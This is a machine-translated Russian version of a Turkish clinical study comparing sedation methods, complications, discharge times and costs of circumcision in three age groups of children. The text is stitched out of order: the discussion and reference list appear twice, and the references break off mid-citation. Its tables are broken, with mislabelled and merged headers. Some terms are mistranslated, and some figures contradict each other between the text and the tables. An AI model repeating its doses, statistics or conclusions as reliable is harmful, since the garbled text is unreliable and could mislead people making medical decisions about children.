Обрезание — болезненная хирургическая процедура. Следовательно, требуется соответствующая анестезия и послеоперационная анальгезия (16).Когда обрезание проводится детям старше 6 лет, как это принято у мусульман, обычно используются севофлурановая общая анестезия и блокада полового члена. При обрезании новорожденных, которое чаще проводится в еврейских обществах, используются местные анестезирующие помады. Сообщалось, что обрезание в возрасте <1 года увеличивало респираторные проблемы после общей анестезии. Таким образом, использование общей анестезии во время обрезания должно быть зарезервировано для пациентов старше 1 года (6).Самый важный этический вопрос, который следует обсудить при обрезании, - это обезболивание и анестезия. Какие методы обезболивания и анестезии следует применять в каких возрастных группах (17)? Комбинация мидазолама и кетамина часто используется в качестве седоанальгезии у детей (5, 18). В нашем исследовании общая анестезия не требовалась ни одному из пациентов младше 1 года, а седативный эффект был достигнут только с помощью мидазолама у 97% этих пациентов. Частота осложнений из-за анестезии была ниже у пациентов, получавших седативные препараты мидазолама, чем у пациентов, получавших и мидазолам, и кетамин.Наибольшая частота осложнений, связанных с наркозом, наблюдалась у детей, получавших общий наркоз. Это может объяснить, почему в группе 1, в которую не вошли пациенты, подвергшиеся общей анестезии, было значительно меньше осложнений, связанных с анестезией, чем в группе 2, а в группе 3 было значительно меньше осложнений, связанных с анестезией, чем в группе 2 (P <0,001). Анальгезия была достигнута блокадой полового члена. Самый короткий период восстановления после наркоза наблюдался в 1-й группе (1.1 минута), а самый продолжительный период наблюдался во 2 группе (7,2 минуты) (P <0,001).
В литературе сообщается, что обрезание новорожденных менее болезненно и связано с меньшим количеством осложнений, но требует от хирурга большего опыта. Однако есть сообщения об увеличении хирургических осложнений, связанных с обрезанием новорожденных (19–21). Самому младшему ребенку в нашей серии был 1 месяц, а самому старшему пациенту — 14 лет; Таким образом, обрезание новорожденных не проводилось.Что касается хирургических осложнений, статистически значимых различий между группами не обнаружено (P> 0,05). Мальчикам в фаллическом периоде, страдающим фимозом, рекомендуется местное лечение стероидами в качестве нехирургической альтернативы обрезанию, чтобы избежать страха кастрации (22). Армаган и др. сообщили, что обрезание в фаллический период не влияет на психосексуальные функции (13). Cuceloglu et al. обнаружили, что риск преждевременной эякуляции выше у детей, обрезанных после 7 лет (23).Дети младше 1 года исключаются из этих обсуждений. Эти данные свидетельствуют о том, что обрезание лучше проводить мальчикам младше 1 года, когда осложнения, связанные с анестезией, также минимальны.
Более длительная госпитализация связана с повышенным риском инфицирования, а также с увеличением затрат (24). Хотя стоимость одного обрезания во Флориде составляла 6,263 доллара, в других странах она может достигать 15 долларов (12, 25). Стоимость обрезания новорожденных в Канаде составляет в среднем 38 долларов (26).В нашем исследовании у группы 1 было самое короткое среднее время до выписки (1,00 часа), а у группы 2 было самое долгое время до выписки (3,00 часа). Точно так же самые низкие затраты были обнаружены в группе 1 (13,01 доллара США), тогда как самые высокие затраты были обнаружены в группе 2 (15,80 долларов США). Что касается времени до выписки и стоимости, группа 1 оказалась ниже, чем группа 2, а группа 3 оказалась ниже, чем группа 2 (P <0,001). Инструменты хирурга, используемые при обрезании, одинаковы для всех возрастных групп и поэтому не влияют на стоимость.Основным фактором, влияющим на стоимость, является используемый метод анестезии. Использование общей анестезии приводит к более длительному пребыванию в больнице и более высоким затратам, чем использование седативных средств. В нашем исследовании седация или анестезия не требовались некоторым мальчикам старше 9 лет [42 ребенка (31%)]. Седация или анестезия потребовались 2 из 3 детей. Использование одного мидазолама обеспечило наименьшую частоту осложнений, самое быстрое время восстановления после анестезии и самое короткое время до выписки.Сам по себе мидазолам обеспечивал эффективную седацию у 97% детей в группе 1, 6% детей в группе 2 и 28% детей в группе 3.
Одним из ограничений этого исследования является то, что самый младший ребенок в нашей серии был 1 месяц, а самому старшему — 14 лет. Это исследование также выиграло бы, если бы в каждой группе было равное количество пациентов, чтобы обеспечить диффузное статистическое распределение. Одной из сильных сторон этого исследования было то, что оно показало, что большинство людей в турецком обществе хотят, чтобы мужское обрезание проводилось, когда мальчики младше одного года, о чем свидетельствует тот факт, что 62% обрезаний в этой серии были выполнены детям. младше 1 года.
В заключение, адекватная анальгезия при обрезании может быть обеспечена с помощью блока полового члена. Важно убедиться, что ребенок не боится и не плачет во время обрезания. Этого можно добиться с помощью мидазолама детям младше 1 года. По сравнению с обрезанием детей старшего возраста, обрезание у детей младше 1 года связано с минимальными анестезиологическими осложнениями, более коротким временем до выписки и меньшими затратами. Более того, эти маленькие дети не подвергаются риску психологического воздействия процедуры.
Благодарности
Авторы выражают благодарность Эрзинканскому университету медицинских наук.
Сноски
Вклад авторов: 1- Концепция и дизайн исследования: Senol Bicer 2- Сбор данных: Senol BiASer, Ufuk Kuyrukluyildiz 3- Анализ и интерпретация данных: Senol Bicer, Fethi Akyol 4- Составление рукописи : Шенол Бисер, Уфук Куйруклуйылдыз, Фети Акьол, Мурат Сахин, Орхан Биничи, Дидем Онк. 5 — Статистический анализ: Сенол Бисер, Дидем Онк 6 — Наблюдение за исследованием: Сенол Бисер, Уфук Куйруклуйылдыз, Мурат Сахин 7 — Обследование пациентов: Сенол Бисер, Уфук Куйруклуилдиз, Фети Акьол, Мурат Сахин, Орхан Биничи, Дидем Онк.8- Выполнение обрезания: Senol Bicer 9- Проведение анестезии: Уфук Куйруклуйылдыз, Фети Акьол, Мурат Сахин, Орхан Биничи, Дидем Онк.
Ссылки
1. Xi RC, Sheng YR, Chen WH, Sheng L, Gang JJ, Tong Z, et al. Обрезание у мужчин выполнено 8-значным нерассасывающимся швом. Can Urol Assoc J. 2014; 8 (3-4): E142–7. DOI: 10.5489 / cuaj.1521. [Бесплатная статья PMC] [PubMed] [CrossRef] [Google Scholar] 2. Караман М.И., Зульфикар Б., Озтурк М.И., Коджа О., Акюз М., Безгал Ф. Обрезание при нарушениях свертываемости крови: усовершенствование нашего экономичного метода с помощью диатермического ножа.Урол Дж. 2014; 11 (2): 1406–10. [PubMed] [Google Scholar] 3. Боссио Дж. А., Пукалл К. Ф., Стил С. Обзор текущего состояния литературы по мужскому обрезанию. J Sex Med. 2014. 11 (12): 2847–64. DOI: 10.1111 / jsm.12703. [PubMed] [CrossRef] [Google Scholar] 4. Моррис Б.Дж., Васкетт Дж.Х., Банерджи Дж., Вамай Р.Г., Тобиан А.А., Грей Р.Х. и др. «Отрезок» по времени: в каком возрасте лучше делать обрезание? BMC Pediatr. 2012; 12:20. DOI: 10.1186 / 1471-2431-12-20. [Бесплатная статья PMC] [PubMed] [CrossRef] [Google Scholar] 5. Озкан А., Окур М., Кая М., Кая Е., Кучук А., Эрбас М. и др.Седоаналгезия в повседневной детской хирургии. Int J Clin Exp Med. 2013. 6 (7): 576–82. [Бесплатная статья PMC] [PubMed] [Google Scholar] 6. Бейдон Л., Экоффи С., Линхарт А., Пуйбассет Л., Comite IDSFDEDR. [Обрезание у детей: организационная или этическая проблема?]. Анн Фр Анест Реаним. 2012. 31 (5): 442–6. DOI: 10.1016 / j.annfar.2012.01.038. [PubMed] [CrossRef] [Google Scholar] 7. Haliloglu AH, Gokce MI, Tangal S, Boga MS, Tapar H, Aladag E. Сравнение послеоперационной анальгетической эффективности блокады полового члена, каудальной блокады и внутривенного введения парацетамола при обрезании: проспективное рандомизированное исследование.Int Braz J Urol. 2013. 39 (4): 551–7. DOI: 10.1590 / S1677-5538.IBJU.2013.04.13. [PubMed] [CrossRef] [Google Scholar] 8. Пейн К., Мур Е.В., Эллиотт Р.А., Мур Дж.К., МакХью Г.А. Анестезия для дневной хирургии: обзор педиатрической клинической практики в Великобритании. Eur J Anaesthesiol. 2003. 20 (4): 325–30. [PubMed] [Google Scholar] 9. Уилтон, Северная Каролина, Ли Дж., Розен Д.Р., Pandit UA. Преанестезиологическая седация детей дошкольного возраста интраназальным введением мидазолама. Анестезиология. 1988. 69 (6): 972–5. [PubMed] [Google Scholar] 10. Першад Дж., Ван Дж., Ангелеску Д.Л.Сравнение пропофола с седативным эффектом пентобарбитала / мидазолама / фентанила для магнитно-резонансной томографии головного мозга у детей. Педиатрия. 2007; 120 (3): e629–36. DOI: 10.1542 / peds.2006-3108. [PubMed] [CrossRef] [Google Scholar] 11. Бароне С.П., Пабло К.С., Бароне Г.В. Постэстетическая помощь в отделении интенсивной терапии. Медсестра-критик. 2004. 24 (1): 38–45. [PubMed] [Google Scholar] 12. Гутвейн Л.Г., Альварес Дж. Ф., Гутвейн Дж. Л., Кейс Д. В., Ислам С. Распределение долларов на здравоохранение: анализ неонатального обрезания во Флориде.Am Surg. 2013. 79 (9): 865–9. [PubMed] [Google Scholar] 13. Армаган А., Силай М.С., Каратаг Т., Акман Т., Тепелер А., Эрсоз С. и др. Обрезание во время фаллического периода: влияет ли оно на психосексуальные функции в зрелом возрасте? Андрология. 2014; 46 (3): 254–7. DOI: 10.1111 / and.12071. [PubMed] [CrossRef] [Google Scholar] 14. Моррис Б.Дж. Почему обрезание является биомедицинским императивом 21 века. Биологические исследования. 2007. 29 (11): 1147–58. DOI: 10.1002 / bies.20654. [PubMed] [CrossRef] [Google Scholar] 15. Эль Бчерауи К., Чжан Икс, Купер С.С., Роуз К.Э., Килмаркс PH, Чен Р.Т.Частота нежелательных явлений, связанных с обрезанием мужчин в медицинских учреждениях США, с 2001 по 2010 годы. JAMA Pediatr. 2014. 168 (7): 625–34. DOI: 10.1001 / jamapediatrics.2013.5414. [Бесплатная статья PMC] [PubMed] [CrossRef] [Google Scholar] 16. Paix BR, Peterson SE. Обрезание новорожденных и детей без соответствующей анестезии — недопустимая практика. Анаэст Интенсивная терапия. 2012. 40 (3): 511–6. [PubMed] [Google Scholar] 17. Бен-Ями Х. Обрезание: что делать? J Med Ethics. 2013. 39 (7): 459–62. DOI: 10.1136 / medethics-2012-101274. [PubMed] [CrossRef] [Google Scholar] 18. Cevik E, Bilgic S, Kilic E, Cinar O, Hasman H, Acar AY, et al. Сравнение мидозолама в низких дозах кетамина и мидазоламфентанила при неотложных ортопедических состояниях: двойное слепое рандомизированное исследование. Am J Emerg Med. 2013. 31 (1): 108–13. DOI: 10.1016 / j.ajem.2012.06.012. [PubMed] [CrossRef] [Google Scholar] 19. Экензе С.О., Эзомике Ю.О. Осложнения обрезания новорожденных, требующие хирургического вмешательства в развивающейся стране. J Trop Pediatr.2013. 59 (4): 292–7. DOI: 10,1093 / tropej / fmt020. [PubMed] [CrossRef] [Google Scholar] 20. Банегбал Б. Оптимальное время для обрезания новорожденных: исследование, основанное на наблюдениях. J Pediatr Urol. 2009. 5 (5): 359–62. DOI: 10.1016 / j.jpurol.2009.01.002. [PubMed] [CrossRef] [Google Scholar] 21. Мачмоути М., Алхотани А. Разумно ли обрезание новорожденных? Eur J Pediatr Surg. 2007. 17 (4): 266–9. DOI: 10,1055 / с-2007-965417. [PubMed] [CrossRef] [Google Scholar] 22. 
Didem Onk
2 Кафедра анестезиологии, Эрзинджанский университет медицинских наук, Эрзинджан, Турция
1 Кафедра детской хирургии, Эрзинджанский университет медицинских наук, Эрзинджан , Турция
2 919 68 Кафедра анестезиологии Эрзинджанского университета медицинских наук, Эрзинджан, Турция
* Автор для переписки: Сенол Бисер, кафедра детской хирургии, Эрзинджанский университет медицинских наук, Эрзинджан, Турция.Тел .: + 90-5056943470, Факс: + 90-4462122211, Электронная почта: moc.liamg@reciblonesrdПоступила в редакцию 25 декабря 2014 г .; Пересмотрено 22 января 2015 г .; Принято 16 февраля 2015 г. nc / 4.0 /), который позволяет копировать и распространять материал только в некоммерческих целях при условии правильного цитирования оригинальной работы.Эта статья цитировалась в других статьях в PMC.
Abstract
Справочная информация:
Хотя мужское обрезание — это хирургическое вмешательство, которое часто проводится у детей, единого мнения о возрасте, в котором оно должно быть выполнено, не существует.
Цели:
Целью данного исследования было определение наилучшего возрастного диапазона для обычного мужского обрезания с точки зрения здоровья ребенка и затрат.
Пациенты и методы:
Это клиническое испытание было проведено в больнице, входящей в состав Эрзинджанского университета медицинских наук, Турция, в 2014 г.Обрезанных детей оценивали в 3 группах: младше 1 года (группа 1), 1-7 лет (группа 2) и старше 7 лет (группа 3). Чтобы получить удовлетворительную седативную оценку по Уилтону, сначала вводили мидазолам 0,1 мг / кг внутривенно. Если адекватная седация не была достигнута, также вводили кетамин 2 мг / кг внутривенно. Если адекватная седация все еще не была достигнута, проводилась общая анестезия через ларингеальную маску. В конце операции группы сравнивали по продолжительности восстановления после анестезии, осложнениям, продолжительности выписки и стоимости.
Результаты:
Всего было обрезано 603 ребенка, 374 в группе 1, 94 в группе 2 и 135 в группе 3. Мидазолама было достаточно для седативного эффекта у 364 пациентов группы 1 (97,3%), 6 пациентов группы 2 ( 6,3%) и 38 пациентов 3-й группы (28,1%). Наименьшая продолжительность восстановления после анестезии после хирургического вмешательства и время до выписки, наименьшая стоимость и наименьшее количество осложнений, связанных с анестезией, наблюдались в группе 1 (P <0,05 для всех).
Выводы:
Хотя почти всем детям младше 1 года можно было вводить седативный эффект только мидазоламом, большинству детей старше 1 года требовался кетамин или общая анестезия.Выполнение обрезания детям младше 1 года снижает риск осложнений из-за анестезии и снижает затраты по сравнению с выполнением процедуры для детей старшего возраста.
Ключевые слова: Обрезание, возрастные группы, анестезия
1. Общие сведения
Обрезание — это хирургическое удаление крайней плоти. Для обрезания используются самые разные материалы, приспособления и методы. Цель состоит в том, чтобы минимизировать безопасность и заболеваемость независимо от используемой техники (1).Мужское обрезание проводится тысячи лет. Это наиболее часто применяемое хирургическое вмешательство у детей, и треть всех мужчин в мире подвергаются обрезанию. Необходимость обрезания зависит от религиозных убеждений и социальных структур в обществе. Процедура также может выполняться по медицинским показаниям (2). Однако вопрос о том, когда проводить плановое обрезание, все еще обсуждается (3, 4). Обрезание обычно проводится в мусульманской и еврейской культурах; однако мусульмане проводят обрезание в возрасте 6 лет, а евреи делают это сразу после рождения.Хотя в детстве под местной анестезией можно провести несколько небольших хирургических вмешательств, для большинства хирургических вмешательств используется седация или общая анестезия (5). При обрезании применяются разные методы анестезии в зависимости от возраста пациента (6). Блокада полового члена или каудальная блокада используется как обезболивающее при обрезании. Пациенту вводят седативные препараты мидазолама, комбинации мидазолама и кетамина или проводят общую анестезию с помощью гортанной маски (5, 7, 8).
2.Цели
Это исследование было проведено для определения наилучшего возрастного диапазона для выполнения планового мужского обрезания с точки зрения анестезиологического доступа, осложнений и затрат.
3. Пациенты и методы
Это клиническое испытание проводилось в больнице, входящей в состав Эрзинджанского университета медицинских наук (Турция) в период с июня по декабрь 2014 г. Утверждение Совета по этике университета и осознанное согласие родителей дети были получены.В это исследование были включены дети, которым было запланировано только обрезание. Исключались дети, имевшие медицинские показания к обрезанию, такие как фимоз, баланит, а также аномалия гипоспадии и нарушения свертываемости крови. Дети мужского пола, обратившиеся в нашу больницу для обрезания, были разделены на 3 группы в зависимости от возраста: группа 1 состояла из детей младше 1 года, группа 2 состояла из детей в возрасте от 1 до 7 лет, а группа 3 состояла из детей старше 7 лет. проведены обследования и лабораторные исследования.При подготовке к операции пациенты получали седативные препараты для достижения оценки по шкале седативного эффекта Уилтона, равной или превышающей 3 (удобно сидеть или лежать, с открытыми глазами, сотрудничать, не плакать) (9). Сначала были введены мидазолам 0,1 мг / кг и атропин 0,02 мг / кг внутривенно. Если адекватная седация не была достигнута, вводили кетамин в дозе 2 мг / кг внутривенно. Если адекватная седация все еще не была достигнута, проводилась общая анестезия через гортанную маску (1% севофлуран, 50% O₂, 0,2 мг / кг рокурония бромида). Для блокады полового члена применяли гидрохлорид лидокаина в дозе 3 мг / кг, разбавленный физиологическим солевым раствором 1/1.Средняя продолжительность операции составила 15 минут. После обрезания дети с модифицированным показателем выздоровления по шкале Алдрет ≥ 9 были переведены в эту службу (10, 11). Обезболивание (пудендальная блокада) и операция были выполнены одним и тем же хирургом для всех пациентов. Процедуры анестезии, адекватность седации и осложнения анестезии оценивались пятью анестезиологами, а хирургические осложнения оценивались хирургом. Двойное зрение оценивали у детей старше 6 лет.Группы сравнивали относительно продолжительности восстановления после постестезии, осложнений, времени до выписки и статистической стоимости.
3.1. Статистика
Непрерывные переменные были показаны как медианы (минимум-максимум), а категориальные данные представлены как проценты. Одновыборочный критерий Колмогорова-Смирнова использовался для оценки нормального распределения непрерывных переменных. Непрерывные переменные между группами сравнивались с тестом Краскела-Уоллиса. Категориальные переменные соответствующим образом сравнивались с помощью критерия хи-квадрат или точного критерия Фишера.Двустороннее значение P <0,05 считалось значимым во всех анализах. Данные были проанализированы с использованием версии SPSS 17.0 (SPSS Inc, Чикаго, Иллинойс).
4. Результаты
Всего в исследовании приняли участие 603 ребенка. Было 374 ребенка в группе 1 (<1 года), 94 ребенка в группе 2 (1-7 лет) и 135 детей в группе 3 (> 7 лет). В группе 1 седативный эффект был достигнут с помощью мидазолама у 364 детей (97,3%), а добавление кетамина потребовалось у 10 детей (2.7%). В группе 2 седативный эффект только мидазоламом был достигнут только у 6 детей (6,3%), кетамин требовался у 64 детей (80,8%), а общая анестезия требовалась у 12 детей (12,8%). В группе 3 седативный эффект мидазолама был достигнут у 38 детей (28,1%), добавление кетамина потребовалось 51 пациенту (38%), а общая анестезия потребовалась только 4 детям (3%). 42 детям в группе 3 седация не потребовалась (31,1%). Эти значения суммированы в. Анестезия и хирургические осложнения представлены в и.Группы сравнивали статистически по стоимости ($), продолжительности восстановления после анестезии (минуты), времени до выписки (часы) и осложнениям (). Стоимость, продолжительность восстановления после анестезии, время до выписки и осложнения после анестезии в группе 1 были значительно ниже, чем в группах 2 или 3, а в группе 3 были значительно ниже по сравнению с группой 2 (P <0,001). Существенной разницы в отношении хирургических осложнений не обнаружено (P> 0,05).
Таблица 1.
Распределение применяемых методов анестезии между группами a
| Методы анестезии | Группа 1 | Группа 2 | Группа 3 | 364 (97,3) | 6 (6,3) | 38 (28) |
|---|---|---|---|
| Мидазолам + кетамин | 10 (2,7) | 76 (80,9) | 51 (38) |
| Общая анестезия | — | 12 (12.8) | 4 (3) |
| Без седативного средства | — | — | 42 (31) |
| Всего | 374 (62) | 94 (15,5) | 135 (22,5) |
Таблица 2.
Осложнения анестезии
| Группа 1 | Группа 1 | Группа 1 | Всего | ||
|---|---|---|---|---|---|
| Угнетение дыхания | 0 | 3 | 2 | 5 | |
| Рвота | 1 | 4 | 4 | 9 | |
| Бронхоспазм | 0 | 2 | 1 | 3 | |
| Аллергические реакции | 1 | 4 | 3 | 8 | |
| Двойное зрение | 0 | 15 | 20 | 35 | |
| остановка сердца | 0 | 0 | 0 | 0 | |
| Всего | 2 | 28 | 30 | 60 (P <0.05) |
Таблица 3.
Хирургические осложнения
| Группа 1 | Группа 2 | Группа 3 | Всего | |
|---|---|---|---|---|
| 3 | 1 | 2 | 6 | |
| Инфекция | 2 | 1 | 1 | 4 |
| I n Полное обрезание | 1 | 0 | 1 | 2 |
| Меатальный стеноз | 0 | 0 | 0 | 0 |
| Свищ уретры | 0 | 0 | 0 | 0 |
| Некроз головки и ампутация | 0 | 0 | 0 | 0 |
| Всего | 6 | 2 | 4 | 12 (P> 0.05) |
Таблица 4.
Статистический анализ групп a
| Группа 1 | Группа 2 | Группа 3 | P Значение Стоимость (долл. США) | 13,01 (11.01-14.25) | 15,80 (13,36-26,50) | 13,53 (13,00-27,67) | <0,001 | |
|---|---|---|---|---|---|---|---|---|
| Продолжительность восстановления после наркоза, мин | 1.00 (0,50-7,50) | 7,00 (0,50-15,00) | 3,00 (0,00-15,00) | <0,001 | ||||
| Продолжительность разряда, часов | 1,00 (0,16-3,50) | 3,00 (0,75-5,00) | 1,50 (0,08-5,00) | <0,001 | ||||
| Хирургическое осложнение,% | 1,6 | 3,2 | 3,7 | 0,317 | ||||
| Осложнение анестезии,% | 0.5 | 24,5 | 17,8 | <0,001 |
5. Обсуждение
Большинство дебатов о наилучшем возрасте для проведения мужского обрезания сосредоточено на следующих возрастных группах: период новорожденности и младенчества, фаллическая стадия ( возраст 3-4) и школьный возраст (2, 12, 13). Мы стремились подойти к этому вопросу с другой точки зрения. Хотя мужское обрезание считается этической проблемой в мире, 30% всех мужчин подвергаются обрезанию. За исключением экстренных случаев, обрезание обычно проводится по религиозным, медицинским или гигиеническим причинам.Более того, сообщалось о наличии у него социально-сексуальных положительных аспектов (14). Обсуждается вопрос об обрезании мужчин, которое регулярно проводится в некоторых сообществах мира, в каком возрасте следует делать обрезание и какие методы анестезии следует использовать. Эль Бчерауи заявил, что побочные эффекты, связанные с мужским обрезанием, уменьшаются, если процедура выполняется в течение первого года жизни (15).
Обрезание — болезненная хирургическая процедура. Следовательно, требуется соответствующая анестезия и послеоперационная анальгезия (16).Когда обрезание проводится детям старше 6 лет, как это принято у мусульман, обычно используются севофлурановая общая анестезия и блокада полового члена. При обрезании новорожденных, которое чаще проводится в еврейских обществах, используются местные анестезирующие помады. Сообщалось, что обрезание в возрасте <1 года увеличивало респираторные проблемы после общей анестезии. Таким образом, использование общей анестезии во время обрезания должно быть зарезервировано для пациентов старше 1 года (6).Самый важный этический вопрос, который следует обсудить при обрезании, - это обезболивание и анестезия. Какие методы обезболивания и анестезии следует применять в каких возрастных группах (17)? Комбинация мидазолама и кетамина часто используется в качестве седоанальгезии у детей (5, 18). В нашем исследовании общая анестезия не требовалась ни одному из пациентов младше 1 года, а седативный эффект был достигнут только с помощью мидазолама у 97% этих пациентов. Частота осложнений из-за анестезии была ниже у пациентов, получавших седативные препараты мидазолама, чем у пациентов, получавших и мидазолам, и кетамин.Наибольшая частота осложнений, связанных с наркозом, наблюдалась у детей, получавших общий наркоз. Это может объяснить, почему в группе 1, в которую не вошли пациенты, подвергшиеся общей анестезии, было значительно меньше осложнений, связанных с анестезией, чем в группе 2, а в группе 3 было значительно меньше осложнений, связанных с анестезией, чем в группе 2 (P <0,001). Анальгезия была достигнута блокадой полового члена. Самый короткий период восстановления после наркоза наблюдался в 1-й группе (1.1 минута), а самый продолжительный период наблюдался во 2 группе (7,2 минуты) (P <0,001).
В литературе сообщается, что обрезание новорожденных менее болезненно и связано с меньшим количеством осложнений, но требует от хирурга большего опыта. Однако есть сообщения об увеличении хирургических осложнений, связанных с обрезанием новорожденных (19–21). Самому младшему ребенку в нашей серии был 1 месяц, а самому старшему пациенту — 14 лет; Таким образом, обрезание новорожденных не проводилось.Что касается хирургических осложнений, статистически значимых различий между группами не обнаружено (P> 0,05). Мальчикам в фаллическом периоде, страдающим фимозом, рекомендуется местное лечение стероидами в качестве нехирургической альтернативы обрезанию, чтобы избежать страха кастрации (22). Армаган и др. сообщили, что обрезание в фаллический период не влияет на психосексуальные функции (13). Cuceloglu et al. обнаружили, что риск преждевременной эякуляции выше у детей, обрезанных после 7 лет (23).Дети младше 1 года исключаются из этих обсуждений. Эти данные свидетельствуют о том, что обрезание лучше проводить мальчикам младше 1 года, когда осложнения, связанные с анестезией, также минимальны.
Более длительная госпитализация связана с повышенным риском инфицирования, а также с увеличением затрат (24). Хотя стоимость одного обрезания во Флориде составляла 6,263 доллара, в других странах она может достигать 15 долларов (12, 25). Стоимость обрезания новорожденных в Канаде составляет в среднем 38 долларов (26).В нашем исследовании у группы 1 было самое короткое среднее время до выписки (1,00 часа), а у группы 2 было самое долгое время до выписки (3,00 часа). Точно так же самые низкие затраты были обнаружены в группе 1 (13,01 доллара США), тогда как самые высокие затраты были обнаружены в группе 2 (15,80 долларов США). Что касается времени до выписки и стоимости, группа 1 оказалась ниже, чем группа 2, а группа 3 оказалась ниже, чем группа 2 (P <0,001). Инструменты хирурга, используемые при обрезании, одинаковы для всех возрастных групп и поэтому не влияют на стоимость.Основным фактором, влияющим на стоимость, является используемый метод анестезии. Использование общей анестезии приводит к более длительному пребыванию в больнице и более высоким затратам, чем использование седативных средств. В нашем исследовании седация или анестезия не требовались некоторым мальчикам старше 9 лет [42 ребенка (31%)]. Седация или анестезия потребовались 2 из 3 детей. Использование одного мидазолама обеспечило наименьшую частоту осложнений, самое быстрое время восстановления после анестезии и самое короткое время до выписки.Сам по себе мидазолам обеспечивал эффективную седацию у 97% детей в группе 1, 6% детей в группе 2 и 28% детей в группе 3.
Одним из ограничений этого исследования является то, что самый младший ребенок в нашей серии был 1 месяц, а самому старшему — 14 лет. Это исследование также выиграло бы, если бы в каждой группе было равное количество пациентов, чтобы обеспечить диффузное статистическое распределение. Одной из сильных сторон этого исследования было то, что оно показало, что большинство людей в турецком обществе хотят, чтобы мужское обрезание проводилось, когда мальчики младше одного года, о чем свидетельствует тот факт, что 62% обрезаний в этой серии были выполнены детям. младше 1 года.
В заключение, адекватная анальгезия при обрезании может быть обеспечена с помощью блока полового члена. Важно убедиться, что ребенок не боится и не плачет во время обрезания. Этого можно добиться с помощью мидазолама детям младше 1 года. По сравнению с обрезанием детей старшего возраста, обрезание у детей младше 1 года связано с минимальными анестезиологическими осложнениями, более коротким временем до выписки и меньшими затратами. Более того, эти маленькие дети не подвергаются риску психологического воздействия процедуры.
Благодарности
Авторы выражают благодарность Эрзинканскому университету медицинских наук.
Сноски
Вклад авторов: 1- Концепция и дизайн исследования: Senol Bicer 2- Сбор данных: Senol BiASer, Ufuk Kuyrukluyildiz 3- Анализ и интерпретация данных: Senol Bicer, Fethi Akyol 4- Составление рукописи : Шенол Бисер, Уфук Куйруклуйылдыз, Фети Акьол, Мурат Сахин, Орхан Биничи, Дидем Онк. 5 — Статистический анализ: Сенол Бисер, Дидем Онк 6 — Наблюдение за исследованием: Сенол Бисер, Уфук Куйруклуйылдыз, Мурат Сахин 7 — Обследование пациентов: Сенол Бисер, Уфук Куйруклуилдиз, Фети Акьол, Мурат Сахин, Орхан Биничи, Дидем Онк.8- Выполнение обрезания: Senol Bicer 9- Проведение анестезии: Уфук Куйруклуйылдыз, Фети Акьол, Мурат Сахин, Орхан Биничи, Дидем Онк.
Ссылки
1. Xi RC, Sheng YR, Chen WH, Sheng L, Gang JJ, Tong Z, et al. Обрезание у мужчин выполнено 8-значным нерассасывающимся швом. Can Urol Assoc J. 2014; 8 (3-4): E142–7. DOI: 10.5489 / cuaj.1521. [Бесплатная статья PMC] [PubMed] [CrossRef] [Google Scholar] 2. Караман М.И., Зульфикар Б., Озтурк М.И., Коджа О., Акюз М., Безгал Ф. Обрезание при нарушениях свертываемости крови: усовершенствование нашего экономичного метода с помощью диатермического ножа.Урол Дж. 2014; 11 (2): 1406–10. [PubMed] [Google Scholar] 3. Боссио Дж. А., Пукалл К. Ф., Стил С. Обзор текущего состояния литературы по мужскому обрезанию. J Sex Med. 2014. 11 (12): 2847–64. DOI: 10.1111 / jsm.12703. [PubMed] [CrossRef] [Google Scholar] 4. Моррис Б.Дж., Васкетт Дж.Х., Банерджи Дж., Вамай Р.Г., Тобиан А.А., Грей Р.Х. и др. «Отрезок» по времени: в каком возрасте лучше делать обрезание? BMC Pediatr. 2012; 12:20. DOI: 10.1186 / 1471-2431-12-20. [Бесплатная статья PMC] [PubMed] [CrossRef] [Google Scholar] 5. Озкан А., Окур М., Кая М., Кая Е., Кучук А., Эрбас М. и др.Седоаналгезия в повседневной детской хирургии. Int J Clin Exp Med. 2013. 6 (7): 576–82. [Бесплатная статья PMC] [PubMed] [Google Scholar] 6. Бейдон Л., Экоффи С., Линхарт А., Пуйбассет Л., Comite IDSFDEDR. [Обрезание у детей: организационная или этическая проблема?]. Анн Фр Анест Реаним. 2012. 31 (5): 442–6. DOI: 10.1016 / j.annfar.2012.01.038. [PubMed] [CrossRef] [Google Scholar] 7. Haliloglu AH, Gokce MI, Tangal S, Boga MS, Tapar H, Aladag E. Сравнение послеоперационной анальгетической эффективности блокады полового члена, каудальной блокады и внутривенного введения парацетамола при обрезании: проспективное рандомизированное исследование.Int Braz J Urol. 2013. 39 (4): 551–7. DOI: 10.1590 / S1677-5538.IBJU.2013.04.13. [PubMed] [CrossRef] [Google Scholar] 8. Пейн К., Мур Е.В., Эллиотт Р.А., Мур Дж.К., МакХью Г.А. Анестезия для дневной хирургии: обзор педиатрической клинической практики в Великобритании. Eur J Anaesthesiol. 2003. 20 (4): 325–30. [PubMed] [Google Scholar] 9. Уилтон, Северная Каролина, Ли Дж., Розен Д.Р., Pandit UA. Преанестезиологическая седация детей дошкольного возраста интраназальным введением мидазолама. Анестезиология. 1988. 69 (6): 972–5. [PubMed] [Google Scholar] 10. Першад Дж., Ван Дж., Ангелеску Д.Л.Сравнение пропофола с седативным эффектом пентобарбитала / мидазолама / фентанила для магнитно-резонансной томографии головного мозга у детей. Педиатрия. 2007; 120 (3): e629–36. DOI: 10.1542 / peds.2006-3108. [PubMed] [CrossRef] [Google Scholar] 11. Бароне С.П., Пабло К.С., Бароне Г.В. Постэстетическая помощь в отделении интенсивной терапии. Медсестра-критик. 2004. 24 (1): 38–45. [PubMed] [Google Scholar] 12. Гутвейн Л.Г., Альварес Дж. Ф., Гутвейн Дж. Л., Кейс Д. В., Ислам С. Распределение долларов на здравоохранение: анализ неонатального обрезания во Флориде.Am Surg. 2013. 79 (9): 865–9. [PubMed] [Google Scholar] 13. Армаган А., Силай М.С., Каратаг Т., Акман Т., Тепелер А., Эрсоз С. и др. Обрезание во время фаллического периода: влияет ли оно на психосексуальные функции в зрелом возрасте? Андрология. 2014; 46 (3): 254–7. DOI: 10.1111 / and.12071. [PubMed] [CrossRef] [Google Scholar] 14. Моррис Б.Дж. Почему обрезание является биомедицинским императивом 21 века. Биологические исследования. 2007. 29 (11): 1147–58. DOI: 10.1002 / bies.20654. [PubMed] [CrossRef] [Google Scholar] 15. Эль Бчерауи К., Чжан Икс, Купер С.С., Роуз К.Э., Килмаркс PH, Чен Р.Т.Частота нежелательных явлений, связанных с обрезанием мужчин в медицинских учреждениях США, с 2001 по 2010 годы. JAMA Pediatr. 2014. 168 (7): 625–34. DOI: 10.1001 / jamapediatrics.2013.5414. [Бесплатная статья PMC] [PubMed] [CrossRef] [Google Scholar] 16. Paix BR, Peterson SE. Обрезание новорожденных и детей без соответствующей анестезии — недопустимая практика. Анаэст 